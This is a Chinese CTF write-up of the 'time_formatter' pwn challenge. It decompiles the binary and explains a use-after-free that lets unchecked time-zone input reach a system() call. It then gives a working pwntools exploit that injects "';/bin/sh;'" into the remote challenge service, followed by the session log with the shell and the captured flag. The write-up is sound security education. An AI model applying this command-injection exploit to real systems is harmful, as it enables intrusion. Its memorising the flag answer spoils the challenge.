攻防世界pwn高手进阶区-time_formatter

time_formatter

伪代码

main函数

循环输出菜单并根据输入跳转执行不同功能。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __gid_t v3; // eax
  FILE *v4; // rdi
  __int64 v5; // rdx
  int v6; // eax

  v3 = getegid();
  setresgid(v3, v3, v3);
  setbuf(stdout, 0LL);
  puts("Welcome to Mary's Unix Time Formatter!");
  do
  {
    while ( 2 )
    {
      puts("1) Set a time format.");
      puts("2) Set a time.");
      puts("3) Set a time zone.");
      puts("4) Print your time.");
      puts("5) Exit.");
      __printf_chk(1LL, (__int64)"> ");
      v4 = stdout;
      fflush(stdout);
      switch ( get_number() )
      {
        case 1:
          v6 = set_time_format();
          break;
        case 2:
          v6 = set_time();
          break;
        case 3:
          v6 = set_time_zone();
          break;
        case 4:
          v6 = print_time((__int64)v4, (__int64)"> ", v5);
          break;
        case 5:
          v6 = free_and_exit();
          break;
        default:
          continue;
      }
      break;
    }
  }
  while ( !v6 );
  return 0LL;
}

get_number

int get_number()
{
  char s; // [rsp+8h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  return atoi(&s);
}

功能1–set_time_format

获得输入,申请内存空间,判断输入是否合法。

__int64 set_time_format()
{
  char *v0; // rbx

  v0 = get_format_malloc();
  if ( (unsigned int)valid_format(v0) )
  {
    ptr = v0;
    puts("Format set.");
  }
  else
  {
    puts("Format contains invalid characters.");
    free_ptr(v0);
  }
  return 0LL;
}

get_format_malloc

char *get_format_malloc()
{
  __int64 v0; // rdx
  __int64 v1; // rcx
  char s[1024]; // [rsp+8h] [rbp-410h]
  unsigned __int64 v4; // [rsp+408h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, (__int64)"%s");
  fflush(stdout);
  fgets(s, 1024, stdin);
  s[strcspn(s, "\n")] = 0;
  return malloc_ret_ptr(s, (__int64)"\n", v0, v1);
}

valid_format

_BOOL8 __fastcall valid_format(char *s)
{
  char accept; // [rsp+5h] [rbp-43h]
  unsigned __int64 v3; // [rsp+38h] [rbp-10h]

  strcpy(&accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");
  v3 = __readfsqword(0x28u);
  return strspn(s, &accept) == strlen(s);
}

malloc_ret_ptr

char *__fastcall malloc_ret_ptr(const char *a1, __int64 a2, __int64 a3, __int64 a4)
{
  char *v4; // rax
  char *v5; // rbx
  __int64 v7; // [rsp-8h] [rbp-18h]

  v7 = a4;
  v4 = strdup(a1);
  if ( !v4 )
    err(1, "strdup", v7);
  v5 = v4;
  if ( getenv("DEBUG") )
    __fprintf_chk(stderr, 1LL, "strdup(%p) = %p\n", a1, v5);
  return v5;
}

strdup()

调用malloc()为变量分配内存,一般和free()成对出现,返回指向分配空间的指针。

功能2–set_time

获得一个大于0的输入作为时间。

__int64 set_time()
{
  int v0; // eax
  const char *v1; // rdi

  __printf_chk(1LL, (__int64)"Enter your unix time: ");
  fflush(stdout);
  v0 = get_number();
  v1 = "Unix time must be positive";
  if ( v0 >= 0 )
  {
    store_time = v0;
    v1 = "Time set.";
  }
  puts(v1);
  return 0LL;
}

功能3–set_time_zone

获得输入并申请内存空间,类似于功能1但输入没有要求。

__int64 set_time_zone()
{
  value = get_format_malloc();
  puts("Time zone set.");
  return 0LL;
}

功能4–print_time

__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v3; // r8
  char command; // [rsp+8h] [rbp-810h]
  unsigned __int64 v6; // [rsp+808h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  if ( ptr )
  {
    __snprintf_chk(
      (__int64)&command,
      2048LL,
      1LL,
      2048LL,
      (__int64)"/bin/date -d @%d +'%s'",
      (unsigned int)store_time,
      (__int64)ptr,
      a3);
    __printf_chk(1LL, (__int64)"Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, "Running command: %s\n", &command, v3);
    setenv("TZ", value, 1);
    system(&command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;
}

__snprintf_chk()

函数原型:int snprintf(char* dest_str,size_t size,const char* format,…)

函数功能:

①将可变个参数(…)按照format格式化成字符串,然后将其复制到str中。

②如果格式化后的字符串长度 >= size,则只将其中的(size-1)个字符复制到str中,并给其后添加一个字符串结束符(’\0’),返回值为欲写入的字符串长度。

若成功则返回预写入的字符串长度,若出错则返回负值。

snprintf_chk(
	  &command,
      2048LL,
      1LL,
      2048LL,
      "/bin/date -d @%d +'%s'",
      store_time,
      ptr,
      a3);

system(&command);

注意 /bin/date -d @%d +’%s’ ,%s代表ptr,ptr指向的内存保存的内容为功能1输入的字符串s,我们希望执行system("/bin/sh"),可以将ptr指向内存的内容修改为"/bin/sh";但是此处执行system(&command),而&command="/bin/date -d @%d +’%s’", 需要一些技巧。

在shell中的同一行中要想两条命令分别执行有两种方法:

①使用 && 连接

②使用 ; 连接。

但是在第一种方法下只有当 && 之前的命令执行成功后才能执行后一条命令, 而 ; 不受限制。

所以我们需要将"/bin/sh"的形式改为 “;/bin/sh” ,在前面多加了分号。

因为%s用了单引号,我们需要设法去掉单引号,只需额外增加单引号与 ‘%s’ 的前后单引号匹配即可。

所以最终的形式为 “’;/bin/sh’” ,而对应的&command="/bin/date -d @%d +’’;/bin/sh’’"

最终执行system(&command)时执行了两条命令,/bin/date -d @%d和/bin/sh。

功能5–free_and_exit

先free,再询问是否退出,可以use after free。

signed __int64 free_and_exit()
{
  signed __int64 result; // rax
  char s; // [rsp+8h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  free_ptr(ptr);
  free_ptr(value);
  __printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
  fflush(stdout);
  fgets(&s, 16, stdin);
  result = 0LL;
  if ( (s & 0xDF) == 89 )
  {
    puts("OK, exiting.");
    result = 1LL;
  }
  return result;
}

payload说明

经分析,我们需要将ptr指向的内存内容修改为 “’;/bin/sh’” ,然后执行功能4–print_time来执行system(&command), 即需要借助某个函数将该字符串送入ptr指向的内存。

功能1–set_time_format可以对ptr操作,但是执行时会检查输入的字符串是否合法,很不幸,; 等都是非法的;功能3–set_time_zone对输入没有要求,可以选择功能3直接将目标字符串输入。

如果直接执行功能3会出现另外一个问题,当执行功能4输出时会提示"You haven’t specified a format!",意思是你还没有设定一个格式,要求我们必须执行功能1,所以我们必须先执行一次功能1,而功能1不能输入目标字符串因为该字符串不合法,只能先随便输入一个合法字符串,之后就可以利用功能5释放内存但并不退出,再执行功能3输入目标字符串。

这么做是因为功能1申请的内存块(chunk)释放后放到了bin当中,而执行到功能3时需要申请同样大小的内存块(chunk),就会优先考虑bin中的chunk,所以功能3分配的内存与之前功能1分配的内存是同一块。因为执行功能5时释放了内存但并没有把指针置为空,所以功能1的指针仍指向这一块内存,当最后执行功能4–print_time时就不会认为"You haven’t specified a format!"。

整体流程

依次执行操作说明
功能1–set_time_format输入一个合法字符串即可
功能5------free_and_exit释放功能1申请的内存但不退出
功能3-----set_time_zone将目标字符串"’;/bin/sh’"送入目标位置
功能4-----------print_time执行system(&command)

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
content=0

def main():
	global p
	try:
		if content == 1:
			p = process("./time_formatter")
		else:
			p = remote("220.249.52.133", 33380)
	except:
		print("Error!")
	
	select_menu(1, 'AAA')
	select_menu(5, 'N')
	select_menu(3, ";/bin/sh;'")
	select_menu(4, '')

	p.interactive()
	
def select_menu(choice, payload):
	p.sendlineafter('5) Exit.\n> ', str(choice))
	if choice == 4:
		pass;
	else:
		p.recv()
		p.sendline(payload)		

main()

sun@sun-virtual-machine:~/Documents/pwn/02/time_formatter$ python exp.py
[+] Opening connection to 220.249.52.133 on port 33380: Done
[DEBUG] Received 0x7f bytes:
    "Welcome to Mary's Unix Time Formatter!\n"
    '1) Set a time format.\n'
    '2) Set a time.\n'
    '3) Set a time zone.\n'
    '4) Print your time.\n'
    '5) Exit.\n'
    '> '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x8 bytes:
    'Format: '
[DEBUG] Sent 0x4 bytes:
    'AAA\n'
[DEBUG] Received 0xb bytes:
    'Format set.'
[DEBUG] Received 0x59 bytes:
    '\n'
    '1) Set a time format.\n'
    '2) Set a time.\n'
    '3) Set a time zone.\n'
    '4) Print your time.\n'
    '5) Exit.\n'
    '> '
[DEBUG] Sent 0x2 bytes:
    '5\n'
[DEBUG] Received 0x25 bytes:
    'Are you sure you want to exit (y/N)? '
[DEBUG] Sent 0x2 bytes:
    'N\n'
[DEBUG] Received 0x15 bytes:
    '1) Set a time format.'
[DEBUG] Received 0x43 bytes:
    '\n'
    '2) Set a time.\n'
    '3) Set a time zone.\n'
    '4) Print your time.\n'
    '5) Exit.\n'
    '> '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0xb bytes:
    'Time zone: '
[DEBUG] Sent 0xc bytes:
    "';/bin/sh;'\n"
[DEBUG] Received 0xe bytes:
    'Time zone set.'
[DEBUG] Received 0x59 bytes:
    '\n'
    '1) Set a time format.\n'
    '2) Set a time.\n'
    '3) Set a time zone.\n'
    '4) Print your time.\n'
    '5) Exit.\n'
    '> '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[*] Switching to interactive mode
[DEBUG] Received 0x18 bytes:
    'Your formatted time is: '
Your formatted time is: [DEBUG] Received 0x1c bytes:
    'sh: 1: /bin/date: not found\n'
sh: 1: /bin/date: not found
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x2c bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'time_formatter\n'
bin
dev
flag
lib
lib32
lib64
time_formatter
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{d1c86fbb96f1511e75376120bcf7cc31}\n'
cyberpeace{d1c86fbb96f1511e75376120bcf7cc31}
$ 
[*] Interrupted

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值